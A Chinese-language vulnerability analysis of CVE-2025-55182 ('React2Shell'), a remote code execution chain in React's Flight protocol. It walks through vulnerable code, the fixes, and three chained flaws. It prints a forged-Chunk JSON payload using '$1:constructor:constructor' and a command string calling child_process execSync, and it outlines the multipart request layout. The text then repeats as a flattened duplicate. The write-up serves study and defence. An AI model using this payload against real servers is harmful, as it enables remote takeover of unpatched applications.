CVE-2025-55182(React2Shell)漏洞代码层面原理解析
字数 3894 2025-12-26 12:12:29

CVE-2025-55182(React2Shell)漏洞代码层面原理解析

一、漏洞前提:先理解 React Flight 协议与 Chunk 结构

要理解此漏洞,必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流,这是漏洞利用的基础。

1. Chunk 的核心代码与作用

Flight 协议使用 Chunk 对象封装数据,且 Chunk 继承 Promise 原型(成为 thenable 对象,可被 Promise 机制处理),代码定义如下(来自 ReactFlightReplyServer.js):

// Chunk的内部结构(核心属性)
function Chunk(status, value, reason, response) {
  this.status = status; // 状态:'pending'/'resolved_model'/'fulfilled'等
  this.value = value;   // 实际数据(可能是JSON字符串/Chunk引用)
  this.reason = reason; // 错误原因或关联Chunk ID
  this._response = response; // 关联的父Response对象(关键!后续会被伪造)
}

// 让Chunk继承Promise原型,具备.then()方法
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) {
  // 核心逻辑:根据status处理Chunk,若为'resolved_model'则调用initializeModelChunk
  const chunk = this;
  switch (chunk.status) {
    case 'resolved_model':
      initializeModelChunk(chunk); // 漏洞2的触发点
      break;
    // 其他状态处理...
  }
};

关键结论:

  • Chunk 是 Flight 协议数据传输的基本单位,所有用户输入最终会被封装成 Chunk
  • Chunk.prototype.then() 是漏洞链的"启动器",会触发后续的 initializeModelChunk(处理数据反序列化)

二、三重漏洞逐一解析(代码层面)

漏洞本质是 3 个独立逻辑缺陷的链式利用,需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发,最终实现 RCE。

漏洞 1:路径遍历(getOutlinedModel 函数)—— 窃取原型链函数

1.1 漏洞代码(ReactFlightReplyServer.js:614-615)

该函数负责解析 Flight 协议的"路径引用"(如 $1:user:name 表示访问 ID 为 1 的 Chunk 的 user.name 属性),但未过滤危险属性:

function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':'); // 分割路径,如"1:__proto__:then"→["1","__proto__","then"]
  const id = parseInt(path[0], 16);  // 解析Chunk ID(这里是1)
  const chunk = getChunk(response, id); // 获取ID为1的Chunk
  
  // 若Chunk已初始化,遍历路径访问属性
  if (chunk.status === 'INITIALIZED') {
    let value = chunk.value; // value初始为Chunk 1的实际数据
    // 核心漏洞:无任何过滤,直接通过方括号访问属性!
    for (let i = 1; i < path.length; i++) {
      value = value[path[i]]; // 允许访问__proto__/constructor等危险属性
    }
    return map(response, value);
  }
}

1.2 漏洞原理与利用

  • 设计意图:支持访问嵌套属性(如 $0:user:address:city),但未做安全限制
  • 攻击利用:构造路径 $1:__proto__:then,让函数窃取 Chunk.prototype.then 函数:
    • path = ["1", "proto", "then"],chunk 1 的 value 最终指向主 Payload(伪造的 Chunk 对象)
    • 第一次循环:value = value["proto"] → 拿到 Chunk 对象的原型(Chunk.prototype)
    • 第二次循环:value = value["then"] → 拿到 Chunk.prototype.then 函数(真实的.then 方法)
    • 最终返回该函数,赋值给伪造 Chunk 的 then 属性,让伪造对象成为"合法"的 thenable(可被 Promise 处理)

1.3 代码层面的致命问题

  • 未过滤 __proto__/constructor/prototype 等危险属性
  • value[path[i]] 而非 value.hasOwnProperty(path[i]),会遍历整个原型链(不仅限于对象自身属性)

漏洞 2:假 Chunk 对象注入(Chunk.prototype.then + initializeModelChunk)—— 伪装成合法 Chunk

2.1 漏洞代码(两处关键逻辑)

(1)Chunk.prototype.then(ReactFlightReplyServer.js:127-143)

Chunk.prototype.then = function(resolve, reject) {
  const chunk = this; // 这里的"this"可能是攻击者伪造的对象!
  switch (chunk.status) {
    case 'resolved_model': // 仅通过status字符串判断,无类型校验
      initializeModelChunk(chunk); // 直接将伪造对象传入
      break;
  }
};

(2)initializeModelChunk(ReactFlightReplyServer.js:446-474)

function initializeModelChunk(chunk) {
  // 漏洞核心:完全信任chunk的属性,无实例校验
  const resolvedModel = chunk.value; // 直接读取伪造的value(内层Payload)
  const rawModel = JSON.parse(resolvedModel); // 解析恶意JSON
  const value = reviveModel(
    chunk._response, // 直接使用伪造的_response对象(无验证)
    {'': rawModel},
    rawModel,
    rootReference
  );
}

2.2 漏洞原理与利用

设计缺陷:

  • 仅通过 status === 'resolved_model' 判断是否为合法 Chunk,未验证 chunk 是否为 Chunk 类的实例
  • 直接使用 chunk._response(伪造的 Response 对象),未检查其合法性

攻击利用: 构造伪造的 Chunk 对象,让 React 误判为合法 Chunk:

// 攻击者构造的假Chunk(JSON格式,会被解析为对象)
{
  "then": "$1:__proto__:then", // 漏洞1窃取的真实.then方法
  "status": "resolved_model",   // 伪装成已解析状态
  "value": "{\"then\":\"$B1337\"}", // 内层Payload(触发漏洞3)
  "_response": { // 完全伪造的Response对象
    "_prefix": "恶意代码;", // 后续会拼接成攻击代码
    "_formData": { "get": "$1:constructor:constructor" } // 漏洞3的关键
  }
}
  • 伪造对象有 then 方法 → 被 Promise 机制视为 thenable
  • status 为 resolved_model → 通过 switch 判断,进入 initializeModelChunk
  • _response 存在 → 被当作合法 Response 使用,为漏洞 3 铺路

漏洞 3:Function 构造器替换(parseModelString 的 $B 分支)—— 触发 RCE

3.1 漏洞代码(ReactFlightReplyServer.js:1059-1067)

该分支负责解析 Flight 协议的 \(B 类型(Blob 引用,格式如 `\)B1337),但未校验 _formData.get` 的合法性。

3.2 漏洞原理与利用

需结合漏洞 1 的路径遍历,先将 _formData.get 替换为 Function 构造器:

  1. 替换 get 为 Function:伪造 Response 的 _formData.get 值为 $1:constructor:constructor(路径遍历):

    • $1:constructor:constructor → 解析为 chunk1.value.constructor.constructor
    • chunk1.value 是伪造的 Chunk 对象 → 其 constructor 是 Object → Object.constructor.constructor 就是 Function(JavaScript 中,Function 是所有函数的构造器,可动态创建函数)
  2. 构造恶意 _prefix:伪造 Response 的 _prefix 为执行系统命令的代码

  3. 触发代码执行:当解析内层 Payload 的 $B1337 时:

    • blobKey = prefix + id → 拼接成 "process.mainModule.require('child_process').execSync('id').toString().trim();4919"
    • response._formData.get(blobKey) → 等价于 Function("process.mainModule.require('child_process').execSync('id').toString().trim();4919")
    • Function(代码) 会创建一个匿名函数,当 Promise 机制调用该函数的 .then() 时,代码被执行 → RCE 实现

3.3 代码层面的致命问题

  • 未校验 response._formData 是否为真实的 FormData 实例
  • 未校验 formData.get 是否为原生方法(允许被替换为 Function)

三、完整攻击链代码流程(从请求到 RCE)

结合上述三个漏洞,攻击者构造的请求会按以下代码路径触发 RCE,关键步骤已标注对应漏洞:

  1. 请求发送:前端发送 POST /page 请求,Content-Type: multipart/form-data,FormData 包含 3 个字段:

    • field 0:主 Payload(伪造的 Chunk 对象,含 then/status/_response)
    • field 1:"$@0"(Promise 引用,指向 field 0,形成循环引用)
    • field 2:[](空数组,满足 Response 的 _chunks 属性要求)
  2. 服务端处理

    • 漏洞 1 触发rootChunk.then() 调用 parseModelString 解析 "then": "$1:__proto__:then",通过 getOutlinedModel 窃取 Chunk.prototype.then,赋值给伪造 Chunk 的 then 属性
    • 漏洞 2 触发:Promise 机制处理伪造 Chunk,调用 initializeModelChunk,使用伪造的 _response 对象,解析内层 Payload "then": "$B1337"
    • 漏洞 3 触发:解析 $B1337 时,调用被替换为 Function 的 _formData.get,创建恶意函数,最终通过 .then() 调用执行系统命令 → RCE

四、关键修复代码对比(理解防御逻辑)

React 官方通过 4 处修复彻底封堵漏洞,对比修复前后的代码,能更清晰理解漏洞根源:

1. 漏洞 1 修复:属性白名单(getOutlinedModel)

添加属性访问白名单,禁止访问危险原型属性。

2. 漏洞 2 修复:Chunk/Response 实例校验(initializeModelChunk)

增加实例类型检查,确保传入的对象是合法的 Chunk 实例。

3. 漏洞 3 修复:FormData 合法性校验(parseModelString 的 $B 分支)

校验 response._formData 是否为真实的 FormData 实例,防止方法被替换。

总结: CVE-2025-55182 是一个典型的原型污染+对象伪造漏洞链,通过精心构造的恶意数据,利用 React Flight 协议的安全缺陷,最终实现远程代码执行。理解此漏洞有助于深入认识 JavaScript 原型链安全、Promise 机制安全以及现代前端框架的安全设计原则。

CVE-2025-55182(React2Shell)漏洞代码层面原理解析 一、漏洞前提:先理解 React Flight 协议与 Chunk 结构 要理解此漏洞,必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流,这是漏洞利用的基础。 1. Chunk 的核心代码与作用 Flight 协议使用 Chunk 对象封装数据,且 Chunk 继承 Promise 原型(成为 thenable 对象,可被 Promise 机制处理),代码定义如下(来自 ReactFlightReplyServer.js): 关键结论: Chunk 是 Flight 协议数据传输的基本单位,所有用户输入最终会被封装成 Chunk Chunk.prototype.then() 是漏洞链的"启动器",会触发后续的 initializeModelChunk(处理数据反序列化) 二、三重漏洞逐一解析(代码层面) 漏洞本质是 3 个独立逻辑缺陷的链式利用,需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发,最终实现 RCE。 漏洞 1:路径遍历(getOutlinedModel 函数)—— 窃取原型链函数 1.1 漏洞代码(ReactFlightReplyServer.js:614-615) 该函数负责解析 Flight 协议的"路径引用"(如 $1:user:name 表示访问 ID 为 1 的 Chunk 的 user.name 属性),但未过滤危险属性: 1.2 漏洞原理与利用 设计意图 :支持访问嵌套属性(如 $0:user:address:city ),但未做安全限制 攻击利用 :构造路径 $1:__proto__:then ,让函数窃取 Chunk.prototype.then 函数: path = [ "1", " proto ", "then" ],chunk 1 的 value 最终指向主 Payload(伪造的 Chunk 对象) 第一次循环:value = value[ " proto " ] → 拿到 Chunk 对象的原型(Chunk.prototype) 第二次循环:value = value[ "then" ] → 拿到 Chunk.prototype.then 函数(真实的.then 方法) 最终返回该函数,赋值给伪造 Chunk 的 then 属性,让伪造对象成为"合法"的 thenable(可被 Promise 处理) 1.3 代码层面的致命问题 未过滤 __proto__ / constructor / prototype 等危险属性 用 value[path[i]] 而非 value.hasOwnProperty(path[i]) ,会遍历整个原型链(不仅限于对象自身属性) 漏洞 2:假 Chunk 对象注入(Chunk.prototype.then + initializeModelChunk)—— 伪装成合法 Chunk 2.1 漏洞代码(两处关键逻辑) (1)Chunk.prototype.then(ReactFlightReplyServer.js:127-143) (2)initializeModelChunk(ReactFlightReplyServer.js:446-474) 2.2 漏洞原理与利用 设计缺陷: 仅通过 status === 'resolved_model' 判断是否为合法 Chunk,未验证 chunk 是否为 Chunk 类的实例 直接使用 chunk._response (伪造的 Response 对象),未检查其合法性 攻击利用: 构造伪造的 Chunk 对象,让 React 误判为合法 Chunk: 伪造对象有 then 方法 → 被 Promise 机制视为 thenable status 为 resolved_ model → 通过 switch 判断,进入 initializeModelChunk _ response 存在 → 被当作合法 Response 使用,为漏洞 3 铺路 漏洞 3:Function 构造器替换(parseModelString 的 $B 分支)—— 触发 RCE 3.1 漏洞代码(ReactFlightReplyServer.js:1059-1067) 该分支负责解析 Flight 协议的 $B 类型(Blob 引用,格式如 $B1337 ),但未校验 _formData.get 的合法性。 3.2 漏洞原理与利用 需结合漏洞 1 的路径遍历,先将 _formData.get 替换为 Function 构造器: 替换 get 为 Function :伪造 Response 的 _formData.get 值为 $1:constructor:constructor (路径遍历): $1:constructor:constructor → 解析为 chunk1.value.constructor.constructor chunk1.value 是伪造的 Chunk 对象 → 其 constructor 是 Object → Object.constructor.constructor 就是 Function(JavaScript 中,Function 是所有函数的构造器,可动态创建函数) 构造恶意 _ prefix :伪造 Response 的 _prefix 为执行系统命令的代码 触发代码执行 :当解析内层 Payload 的 $B1337 时: blobKey = prefix + id → 拼接成 "process.mainModule.require('child_process').execSync('id').toString().trim();4919" response._formData.get(blobKey) → 等价于 Function("process.mainModule.require('child_process').execSync('id').toString().trim();4919") Function(代码) 会创建一个匿名函数,当 Promise 机制调用该函数的 .then() 时,代码被执行 → RCE 实现 3.3 代码层面的致命问题 未校验 response._formData 是否为真实的 FormData 实例 未校验 formData.get 是否为原生方法(允许被替换为 Function) 三、完整攻击链代码流程(从请求到 RCE) 结合上述三个漏洞,攻击者构造的请求会按以下代码路径触发 RCE,关键步骤已标注对应漏洞: 请求发送 :前端发送 POST /page 请求, Content-Type: multipart/form-data ,FormData 包含 3 个字段: field 0:主 Payload(伪造的 Chunk 对象,含 then/status/_ response) field 1: "$@0" (Promise 引用,指向 field 0,形成循环引用) field 2: [] (空数组,满足 Response 的 _ chunks 属性要求) 服务端处理 : 漏洞 1 触发 : rootChunk.then() 调用 parseModelString 解析 "then": "$1:__proto__:then" ,通过 getOutlinedModel 窃取 Chunk.prototype.then ,赋值给伪造 Chunk 的 then 属性 漏洞 2 触发 :Promise 机制处理伪造 Chunk,调用 initializeModelChunk ,使用伪造的 _response 对象,解析内层 Payload "then": "$B1337" 漏洞 3 触发 :解析 $B1337 时,调用被替换为 Function 的 _formData.get ,创建恶意函数,最终通过 .then() 调用执行系统命令 → RCE 四、关键修复代码对比(理解防御逻辑) React 官方通过 4 处修复彻底封堵漏洞,对比修复前后的代码,能更清晰理解漏洞根源: 1. 漏洞 1 修复:属性白名单(getOutlinedModel) 添加属性访问白名单,禁止访问危险原型属性。 2. 漏洞 2 修复:Chunk/Response 实例校验(initializeModelChunk) 增加实例类型检查,确保传入的对象是合法的 Chunk 实例。 3. 漏洞 3 修复:FormData 合法性校验(parseModelString 的 $B 分支) 校验 response._formData 是否为真实的 FormData 实例,防止方法被替换。 总结: CVE-2025-55182 是一个典型的原型污染+对象伪造漏洞链,通过精心构造的恶意数据,利用 React Flight 协议的安全缺陷,最终实现远程代码执行。理解此漏洞有助于深入认识 JavaScript 原型链安全、Promise 机制安全以及现代前端框架的安全设计原则。